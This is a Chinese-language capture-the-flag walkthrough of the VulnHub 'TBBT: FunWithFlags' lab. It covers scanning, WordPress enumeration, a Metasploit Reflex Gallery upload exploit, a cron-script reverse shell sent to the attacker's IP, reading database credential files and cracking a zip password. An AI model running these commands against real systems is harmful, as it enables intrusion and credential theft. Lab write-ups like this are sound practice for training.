TBBT: FunWithFlags靶场渗透
TBBT: FunWithFlags
来自 <https://www.vulnhub.com/entry/tbbt-funwithflags,437/>
1,注意给kali添加一块网卡,配置为仅主机模式,网段192.168.1.0/24
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.1.0/24
那么攻击机IP为192.168.1.128,靶场IP192.168.1.105
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.1.105
端口号 | 状态 | 服务类型 | 服务版本 / 标识 | 核心特点(关键信息) |
21/tcp | 开放 | ftp | vsftpd 3.0.3 | 支持匿名登录,含 Welcome.txt、pub / 目录 |
22/tcp | 开放 | ssh | OpenSSH 7.2p2 Ubuntu | 需账号密码登录,无直接漏洞 |
80/tcp | 开放 | http | Apache httpd 2.4.18 | 泄露 4 个敏感路径(含 /web_shell.php) |
1337/tcp | 开放 | 自定义服务 | 未识别(标记为 waste?) | 任意请求返回 Flag:FLAG-sheldon {...} |
4,匿名登录到ftp服务器
ftp 192.168.1.105
存在两个文本文件,下载下来
查看一下文本文件有什么
附言:请勿在此处存储重要文件,因为本服务器设置为允许匿名访问且对公众开放。
说明ftp服务器可能不存在重要内容
5,再尝试访问80端口的http服务
再扫描其子目录看看
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.1.105/robots.txt
gobuster dir -u http://192.168.1.105/music -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.1.105/music/wordpress/
6,wpscan扫描枚举出用户
wpscan --url http://192.168.1.105/music/wordpress/ -e u,p
footprintsonthemoon、stuart、kripke
并且扫描出存在漏洞的插件
searchsploit reflex
7,使用metasploit框架对网站进行渗透攻击
msfconsole -q
search reflex gallery
use exploit/unix/webapp/wp_reflexgallery_file_upload
options
set rhosts 192.168.1.105
set targeturi /music/wordpress
set LHOST 192.168.1.128
exploit
成功getshell
8,获取可交互shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
再来信息收集一下
无法sudo -l提权
9,发现一个有助于提权的文件
可读可写可执行,脚本也已配置为每分钟运行一次。意味着我可以进行计划任务提权,写入反弹shell的命令
echo 'bash -c "bash -i >& /dev/tcp/192.168.1.128/1234 0>&1"' >>thermostat_set_temp.sh
kali要监听1234端口
成功提权变成root,得到第一个flag
10,目标是收集七个flag。先看amy用户
cat /home/amy/notes.txt
strings /home/amy/secretdiary
于是得到第二个flag
11,在网站配置文件里面发现用户名密码bigpharmacorp/weareevil
cd /var/www/html/private
cat db_config.php
登录成功后,得到第三个flag
http://192.168.1.105/phpmyadmin/sql.php?server=1&db=bigpharmacorp&table=users&pos=0&token=b5ddf0c010a7b2d360c242c1651e729b
12,进入penny目录,发现.FLAG.penny.txt
解码得到第四个flag
13,访问1337端口,得到第五个flag
14,去看看wordpress的数据库配置文件
cat /var/www/html/music/wordpress/wp-config.php
得到数据库账户密码footprintsonthemoon/footprintsonthemoon1337
mysql -u footprintsonthemoon -p
show databases;
use footprintsonthemoon;
show tables;
select * from wp_posts;
在wp_posts表中找到第六个flag
15,回到kali登录到ftp服务器
下载压缩包文件super_secret_nasa_stuff_here.zip。需要密码,这里使用zip2john结合john爆破
zip2john super_secret_nasa_stuff_here.zip >hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
使用密码astronaut 解压压缩包
密码为iloveyoumom,查看marsroversketch.jpg.out,拿下第七个flag